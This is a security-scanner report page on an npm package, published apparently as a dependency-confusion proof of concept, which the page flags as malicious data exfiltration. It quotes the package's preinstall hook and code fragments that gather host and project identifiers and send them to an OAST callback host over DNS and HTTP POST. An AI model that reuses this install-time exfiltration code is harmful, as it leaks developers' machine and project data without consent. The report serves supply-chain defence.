registry / Data exfiltration / stillm4ddpocs-demo-widget

stillm4ddpocs-demo-widget

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

This report shows the evidence for stillm4ddpocs-demo-widget@999.9.9, the only known version.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Source confirms automatic preinstall execution and external transmission of identifying host and project data. The stated research purpose does not remove the concrete unconsented exfiltration behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation runs the `preinstall` lifecycle script.

Impact

Unconsented disclosure of username, home path, hostname, local IP, working directory, and consumer-project metadata.

Mechanism

install-time host/project metadata collection and multi-channel network exfiltration

Attack narrative

A public high-version dependency-confusion package runs automatically during preinstall. It reads the consuming project's manifest, gathers local host and user identifiers, serializes them, then sends the payload to an attacker-controlled OAST host through DNS labels and HTTP/HTTPS POST requests. This is concrete install-time data exfiltration without installer consent.

AI rationale

Evidence

package.jsonindex.jsREADME.md<consumer-project>/package.json

Network endpoints1

da4v7l8hb2uc72ugqfmgk64edkj89qcok.oast.fun

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`preinstall` executes `index.js` automatically.
Install code reads consumer-project metadata and host identity.
Collected data is encoded into DNS queries and POSTed to an external callback.
The package is explicitly positioned as a dependency-confusion proof of concept.

Evidence against

No credential, environment-variable, or arbitrary file-content harvesting is present.
No persistence, payload download, shell execution, or destructive action is present.

Behavioral surface

Source

CryptoEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.57 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` executes `index.js` automatically.

package.jsonView on unpkg · L5

index.jsView file

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Install code reads consumer-project metadata and host identity.

index.jsView on unpkg · L36

52let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), poc: PACKAGE, parent: parent.name, author: parent.author || null, repository: parent.repository || null, homepage: parent.homepage || null

High

Ai Review Evidence

Install code reads consumer-project metadata and host identity.

index.jsView on unpkg · L52

77const b32 = Buffer.from(body).toString("base64") .replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, ""); const chunks = b32.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

Collected data is encoded into DNS queries and POSTed to an external callback.

index.jsView on unpkg · L77

86for (const [mod, port] of [[https, 443], [http, 80]]) { try { const req = mod.request({ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`, method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "X-Poc-Uuid": info.uuid } }); req.on("error", () => {}); req.on("timeout", () => { try { req.destroy(); } catch (e) {} }); req.write(body); req.end();

High

Ai Review Evidence

Collected data is encoded into DNS queries and POSTed to an external callback.

index.jsView on unpkg · L86

README.mdView file

8`stillm4ddpocs-demo-widget` was found referenced in publicly served code, but no package by that name existed on the public npm registry. That combination is the precondition for [dependency confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610): a build that resolves this name from the public registry rather than from an internal one will install whatever is published here, from anyone. It was published at version `999.9.9` deliberately. npm resolves the highest available version, so a high number is what demonstrates that the public copy wins over an internal one.

High

Suspicious Dependency Evidence

The package is explicitly positioned as a dependency-confusion proof of concept.

README.mdView on unpkg · L8

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` executes `index.js` automatically.

package.jsonView on unpkg · L5

index.jsView file

High

Findings

7 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

HighSuspicious Dependency EvidenceREADME.md

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to stillm4ddpocs-demo-widget@999.9.9.

The versions list below shows the verdict for each recorded version.

Avoid installing stillm4ddpocs-demo-widget@999.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-22 19:45:11.097Z (UTC).

Source advisory published: 2026-08-22 19:24:50.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

999.9.9latestshownMaliciousData ExfiltrationBlockPublishedAug 22, 2026, 7:09 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code